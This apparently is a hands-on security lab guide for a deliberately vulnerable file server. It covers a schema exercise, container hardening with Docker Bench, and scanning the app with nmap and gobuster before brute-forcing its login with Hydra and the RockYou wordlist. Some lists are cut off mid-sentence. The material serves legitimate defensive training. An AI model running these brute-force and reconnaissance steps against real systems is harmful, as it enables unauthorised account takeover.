Fancy FileServer

Table of Contents

Introduction

The Fancy FileServer project is intentionally weakly designed to help developers learn about API and container security best practices by identifying and addressing common vulnerabilities. This project is shipped with a streamlined architecture that provides a realistic foundation for learning security hardening techniques. The application leverages Faker.js to provide realistic fake data to the server, enabling comprehensive testing scenarios.

Throughout this documentation, you'll work through hands-on tasks that cover three essential areas of modern application development: Each task is designed to build practical skills in identifying vulnerabilities and implementing industry-standard security measures.

Getting Started

Fork GitHub Repository

Fork Repository

Create a Personal Access Token (PAT) for docker.hub

Configure Your GitHub Secrets and Variables

Instructions

Feature Development

Problem Description

Start the Fancy FileServer project as described in the README.md file. Once started, open a web browser and navigate to http://localhost:3000/login and click on the Register button to get the Registration form rendered.
Registration Form

Exercise

Your exercise is to capture additional demographic information by extending the User schema to persist the sexuality of newly registered users:
HINTS

The following test functions and modules have a footprint for the user registration process:

Container Image Hardening

Problem Description

The current Dockerfile and docker-compose.yml configurations contain several security weaknesses that could expose the application to potential vulnerabilities. To gain a first impression of container hardening techniques, we will use Docker Bench for Security. This tool provides excellent awareness of container security fundamentals and common misconfigurations.

In professional production environments, security tooling is more comprehensive and typically includes:
Download Docker Bench Security: 
cd ~
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
Stop all running container: 
docker stop $(docker ps -q)
Run the Docker Compose project: 
docker compose --profile dev up -d
Run Docker Bench Security: 
sudo sh docker-bench-security.sh -i fancy_fileserver_dev
After running the assessment, you should see the following output at the end of the log:
Section C - Score
[INFO] Checks: 117
[INFO] Score: 7

Exercise

Your goal is to improve the security score by:
HINTS

The following changes can help increase your Docker Bench Security score:

API Hardening

Problem Description

The application currently accepts weak passwords with only 6 characters minimum. To identify this vulnerability through network reconnaissance, use penetration testing tools like those available in Kali Linux.

Pull the Kali Linux container from Docker Hub: 
docker pull kalilinux/kali-rolling
Run the Kali container interactively: 
docker run -it --network host kalilinux/kali-rolling /bin/bash
Inside the Kali container, update the APT sources nmap: 
apt-get update && apt-get upgrade -y
Inside the Kali container, install following penetration testing tools: 
apt-get install -y nmap gobuster wordlists dirb hydra
Tools installed: Extract the RockYou wordlist since it will later be used for brute forcing the login page:: 
gunzip /usr/share/wordlists/rockyou.txt.gz
On the Linux host, run following command to get the IP address of the Fancy FileServer application: 
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' fancy_fileserver_dev
Inside the Kali container, discover the Fancy FileServer services: 
nmap {IP_ADDRESS}
You should see the following output indicating that the application is running on port 3000:
Starting Nmap 7.80 ( https://nmap.org ) at 2024-06-01 12:00 UTC
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-06 05:57 +0000
scan report for 172.18.0.4
Host is up (0.0000030s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
3000/tcp open ppp
MAC Address: 72:7D:C9:27:4B:AB (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
Inside the Kali container, scan for available routes and endpoints: 
gobuster dir -u http://{IP_ADDRESS}:3000 -w /usr/share/wordlists/dirb/common.txt
You should see the following output showing discovered routes:
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.18.0.4:3000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
home               (Status: 302) [Size: 0] [--> /login]
login              (Status: 200) [Size: 6470]
logout             (Status: 302) [Size: 0] [--> /login]
profile            (Status: 302) [Size: 0] [--> /login]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
The scan reveals several routes, with /login returning status 200, indicating it's directly accessible. We'll concentrate on this route to perform a brute-force attack and test the application's password security.
Inside the Kali container, perform a brute force attack on the login route using Hydra: 
hydra -l testuser5678 -P /usr/share/wordlists/rockyou.txt "http-get-form://172.18.0.4:3000/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4
You should see output showing successful password discoveries:
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-06 07:27:45
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking http-get-form://172.18.0.4:3000/login:username=^USER^&password=^PASS^:F=Invalid credentials
[3000][http-get-form] host: 172.18.0.4 login: testuser5678 password: {PASSWORD}
1 of 1 target successfully completed, 4 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-06 07:27:47

Exercise

Your goal is to enforce strong password requirements by:
HINTS